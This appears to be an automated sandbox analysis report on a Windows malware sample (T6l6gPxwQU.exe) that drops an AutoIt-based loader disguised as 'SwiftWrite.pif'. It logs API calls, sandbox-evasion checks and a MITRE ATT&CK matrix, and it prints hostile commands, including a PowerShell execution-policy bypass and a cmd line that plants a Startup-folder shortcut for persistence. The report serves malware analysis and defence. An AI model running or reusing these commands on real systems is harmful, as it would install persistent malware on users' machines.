Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3779			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6039			Jump to behavior

Source: C:\Users\Public\InformationCheck.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	API coverage: 3.4 %
Source: C:\Users\Public\InformationCheck.exe	API coverage: 4.7 %
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	API coverage: 4.4 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7524	Thread sleep time: -11990383647911201s >= -30000s			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7560	Thread sleep time: -2767011611056431s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB19BC70 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00007FF6BB19BC70
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1A72A8 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,	0_2_00007FF6BB1A72A8
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1A71F4 FindFirstFileW,FindClose,	0_2_00007FF6BB1A71F4
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB19B7C0 FindFirstFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00007FF6BB19B7C0
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB162F50 FindFirstFileExW,	0_2_00007FF6BB162F50
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1AA4F8 FindFirstFileW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	0_2_00007FF6BB1AA4F8
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1AA350 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	0_2_00007FF6BB1AA350
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1A6428 FindFirstFileW,FindNextFileW,FindClose,	0_2_00007FF6BB1A6428
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1AA874 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00007FF6BB1AA874
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB19C7C0 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00007FF6BB19C7C0
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00594005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	3_2_00594005
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0059494A GetFileAttributesW,FindFirstFileW,FindClose,	3_2_0059494A
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0059C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	3_2_0059C2FF
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0059CD14 FindFirstFileW,FindClose,	3_2_0059CD14
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0059CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	3_2_0059CD9F
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0059F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	3_2_0059F5D8
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0059F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	3_2_0059F735
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0059FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	3_2_0059FA36
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00593CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	3_2_00593CE2
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_00904005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00904005
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_0090494A GetFileAttributesW,FindFirstFileW,FindClose,	10_2_0090494A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_0090C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	10_2_0090C2FF
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_0090CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	10_2_0090CD9F
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_0090CD14 FindFirstFileW,FindClose,	10_2_0090CD14
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_0090F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_0090F5D8
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_0090F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_0090F735
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_0090FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	10_2_0090FA36
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_00903CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00903CE2

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Code function: 0_2_00007FF6BB141D80 GetVersionExW,GetCurrentProcess,IsWow64Process,GetSystemInfo,GetSystemInfo,FreeLibrary,

0_2_00007FF6BB141D80

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: powershell.exe, 00000001.00000002.1975598778.000002BB73AE3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 00000001.00000002.1975598778.000002BB73AE3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: powershell.exe, 00000001.00000002.1975598778.000002BB73AB8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Code function: 0_2_00007FF6BB1B0A00 BlockInput,

0_2_00007FF6BB1B0A00

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Code function: 0_2_00007FF6BB1237B0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00007FF6BB1237B0

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Code function: 0_2_00007FF6BB145BC0 GetLastError,IsDebuggerPresent,OutputDebugStringW,

0_2_00007FF6BB145BC0

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Code function: 0_2_00007FF6BB1932F4 LoadLibraryA,GetProcAddress,

0_2_00007FF6BB1932F4

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Code function: 0_2_00007FF6BB18D408 LookupPrivilegeValueW,GetProcessHeap,HeapFree,

0_2_00007FF6BB18D408

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1459C8 SetUnhandledExceptionFilter,	0_2_00007FF6BB1459C8
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1457E4 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6BB1457E4
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB15AF58 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6BB15AF58
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB168FE4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF6BB168FE4
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0055A354 SetUnhandledExceptionFilter,	3_2_0055A354
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0055A385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0055A385
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008CA385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_008CA385
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008CA354 SetUnhandledExceptionFilter,	10_2_008CA354

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1"

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Code function: 0_2_00007FF6BB18CE68 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00007FF6BB18CE68

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Code function: 0_2_00007FF6BB1237B0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00007FF6BB1237B0

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Code function: 0_2_00007FF6BB199420 SendInput,keybd_event,

0_2_00007FF6BB199420

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Code function: 0_2_00007FF6BB19D158 mouse_event,

0_2_00007FF6BB19D158

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\InformationCheck.exe "C:\Users\Public\InformationCheck.exe" C:\Users\Public\Details.au3			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"			Jump to behavior

Source: C:\Users\Public\InformationCheck.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & echo url="c:\users\user\appdata\local\wordgenius technologies\swiftwrite.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & exit
Source: C:\Users\Public\InformationCheck.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & echo url="c:\users\user\appdata\local\wordgenius technologies\swiftwrite.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & exit			Jump to behavior

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Code function: 0_2_00007FF6BB18C858 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00007FF6BB18C858

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Code function: 0_2_00007FF6BB18D540 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00007FF6BB18D540

Source: T6l6gPxwQU.exe, 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmp, T6l6gPxwQU.exe, 00000000.00000003.1683618137.00000202FF800000.00000004.00000020.00020000.00000000.sdmp, T6l6gPxwQU.exe, 00000000.00000003.1690464925.00000202FF726000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: T6l6gPxwQU.exe, InformationCheck.exe, SwiftWrite.pif	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Code function: 0_2_00007FF6BB15FD20 cpuid

0_2_00007FF6BB15FD20

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Code function: 0_2_00007FF6BB19DC1C GetLocalTime,

0_2_00007FF6BB19DC1C

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Code function: 0_2_00007FF6BB182BCF GetUserNameW,

0_2_00007FF6BB182BCF

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Code function: 0_2_00007FF6BB162400 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_00007FF6BB162400

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Code function: 0_2_00007FF6BB141D80 GetVersionExW,GetCurrentProcess,IsWow64Process,GetSystemInfo,GetSystemInfo,FreeLibrary,

0_2_00007FF6BB141D80

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: SwiftWrite.pif	Binary or memory string: WIN_81
Source: SwiftWrite.pif	Binary or memory string: WIN_XP
Source: SwiftWrite.pif	Binary or memory string: WIN_XPe
Source: SwiftWrite.pif	Binary or memory string: WIN_VISTA
Source: T6l6gPxwQU.exe, 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte
Source: SwiftWrite.pif	Binary or memory string: WIN_7
Source: SwiftWrite.pif	Binary or memory string: WIN_8
Source: InformationCheck.exe, 00000003.00000003.1794342033.0000000005BE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 5USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1B3940 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,	0_2_00007FF6BB1B3940
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1B4074 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	0_2_00007FF6BB1B4074
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_005A696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	3_2_005A696E
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_005A6E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	3_2_005A6E32
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_0091696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	10_2_0091696E
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_00916E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	10_2_00916E32

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	2 Valid Accounts	2 Native API	1 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	21 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	21 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	2 Valid Accounts	2 Valid Accounts	2 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
